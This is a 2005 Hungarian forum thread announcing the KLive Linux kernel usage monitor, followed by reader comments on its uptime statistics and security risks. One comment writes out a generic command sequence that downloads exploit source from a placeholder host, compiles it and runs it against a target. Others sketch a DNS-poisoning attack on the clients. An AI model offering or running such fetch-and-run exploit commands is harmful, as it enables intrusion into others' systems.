KLive: Linux Kernel Live Usage Monitor

Kernel

Andrea Arcangeli egy olyan szervert állított fel, amely folyamatosan fogadja a projektben részt vevő, Linuxot futtattó gépek kernelének adatait és azokat táblázatba rendszerezi. A projekt célja, hogy a fejlesztők lássák, hogy az egyes -rc, -pre, -git kerneleket hányan és mennyi ideig futtatták a végleges verzió kiadása előtt, azokkal mekkora uptime-okat értek el a felhasználók. Arcangeli szerint ezek az adatok hasznosak lehetnek a kernelfejlesztők számára.

Ha valaki infókkal szeretné segíteni a fejlesztőket, akkor csak annyi a dolga, hogy letölti ezt a file-t, majd a gépén a python-twisted (apt-get install python-twisted) segítségével futtatja a következő módon:

twistd -oy klive.tac

A projekt részletei a klive.cpushare.com oldalon olvashatók.

A bejelentés itt.

( trey | 2005. 08. 30., k – 13:51 )

Egy tesztgeppel megkezdtem a 2.6.13-asok sorat. Igaz se nem pre, se nem rc, se nem git, de mindegy :-)

( Hunger | 2005. 08. 30., k – 14:04 )

hehe, már csak egy python-twisted bug kell és egy dns poisoning, aztán már ownolható is az össes gép... ;P

( bra | 2005. 08. 30., k – 14:25 )

Micskó Gábor wrote:
> Andrea Arcangeli egy olyan szervert állított fel, amely folyamatosan
> fogadja a projektben részt vevő, Linuxot futtattó gépek kernelének adatait
> és azokat táblázatba rendszerezi.
Gonosz dolog lenne portolni Solarisra, vagy FreeBSD-re? :)

Hat a FreeBSD-t megertem, de a Solaris hogy is jon a kepbe? :-)

Ja azt megfigyeltem, hogy nem valos uptime-ot nez, hanem azt, hogy mennyi idot fut a script. A gepen amin nalam fut 7 ora az uptime, de a tablazatban meg csak 24 perc. Kb. akkor inditottam el a scriptet...

Plane. Ha arra akartal celzni, hogy azokkal nagyobb uptime-ot ernel el, akkor valoszinuleg tevedsz. :-) Akkor inkabb Windows 2000. Legalabbis a NetCraft Longest uptimes [uptime.netcraft.com] oldala szerint. Az elso 50-ben nincs (Open)Solaris.

Mondjuk ennek a projektnek nem is ez a celja szerintnem.

Azért van különbség... mail, web, ftp szolgáltatást ritkán csinálsz scriptel. A binárisokban lévő hibák kihasználása pedig jóval nehezebb (nem script kiddie szintű) feladat, ráadásul architektúra és környezet függő. Pythonnál meg szinte mind1, hogy x86-on, ppc-n vagy sparc-on fut a script.

> Azért van különbség... mail, web, ftp szolgáltatást ritkán csinálsz scriptel.

Nem azt mondtam, hogy scripttel, hanem azt, hogy barmilyen szolgaltatas futtatasaban van riziko. Bind, Sendmail, Wu-ftp? Csak a legendasak... Ebben sincs nagyobb riziko, mint egy ***** irc kliensben... yilvan nem production box-on kell futtatni, mint ahogy eles szerveren sem irc-zik az ember.

> A binárisokban lévő hibák kihasználása pedig jóval nehezebb (nem script kiddie szintű) feladat, ráadásul architektúra és környezet függő

wget http://foo.org/sploit.c

gcc -o foo sploit.c

./foo target

?

( kertib | 2005. 08. 30., k – 19:42 )

Az "NR" oszlop mit mutat? Mondjuk elinditottam a cuccost, es kb. 10 perc mulva meg is jelenet a kernel:

2.6.11.4-21.8-default

Azota 4x ujrainditottam a gepet, es most a NR (NumbeR) erteke 4...tehat ilyen kernellel senki mas nem inditot gepet a kerek vilagon...viszont ennek igy semmi ertelme, mert ebbol nem tunik ki, hogy egy bizonyos kernelt hany kulonbozo gep futtat.

Persze, lehet, hogy felreertettem a project celjat.

Balazs

Hat az attol fugg ... Mert ha magaban a python script "algoritmusban" van valami hiba peldaul akkor gaz, mert ugye ezt a hole-t "hordozhatova" teszi az, hogy platformfuggetlen scriptben van a hiba (ha magaban a python interpreterben pl akkor viszont mar nem egyertelmu). Ugyanakkor viszont sokszor az is elojon hogy pl C nyelvu programban tobb hiba is akadhat, tekintve a nyelv sok sok buktatojara (pointerek, pl == helyett = egy if-nel vagy hasonlo) amitol a legtobb sciprtnyelv "megved". Masreszt nezd meg a cuccot: joval rovidebb "forraskodilag", mint amit C-ben megirnal, tehat lehet a hibalehetoseg is kevesebb, az emberi tevesztes lehetosegere gondolok ami aranyos lehet a forras meretevel, hiszen meg kell azt alkotni. Tehat azert en nem vennem ennyire biztosra ezt a dolgot, bar mondjuk erdekes lenne egy statisztika hasonlo temaban.

Ami a topic-ot illeti, viszont -rc meg -git meg stb kerneleket legtobben azert nem production masinan futtatjuk, mondjuk egy eles szerveren en akkor se tennek ilyet ha nagyon biztos lennek benne hogy "biztonsagos" a cucc, csupan azert, mert semmi 100%, es a szerver szerepkore szempontjabol ez nem letszukseglet, marpedig biztonsag eseten nem art a felesleges dolgoktol ovakodni.

Az ertelme szerintem az lesz, hogy a fejlesztok latjak mondjuk a 2.6.14 kiadasa elott, hogy a 2.6.14-rcX kernelt osszesen 1768 orat futtattak osszesen kulonbozo gepeken, es megsem volt kirivo bugreport. Ahogy en kivettem a projekt celjat, szerintem nem az a lenyege, hogy egyes gepen kulon kulon mennyit futtatjak (mennyi az egyeni uptime), hanem hogy osszesen mennyit volt tesztelve egy-egy kernel a kiadas elott.

Ezt nem vitatja senki. Altalaban nem szokott gondot jelenti, hiszen a gepek igen nagy szazaleka x86 / i386 ahogy tetszik.

Ennek a pingernek a futtatasa semmivel nem jelent ez nagyobb rizikot, mint egy PHP-s weboldal futtatasa. Sot kevesebbet. PHP eseten meg DNS-t se kell mergezni hiszen egy publikus szolgaltatast kell megtorni. Ahhoz, hogy te ezt sikeresen tamadd, kell egy bug a python / twistd-ben, meg kell a DNS-t buheralni, es fel kell allitani egy fake szervert, majd ugy preparalni, hogy az megtorje a klienseket.

Egy PHP remote-hoz megy eleg egy jol formazott URL, meg egy bug az oldalt futtato motorban.

Ha sikerul, mindegyikkel kapsz shell-t. Na melyik az egyszerubb?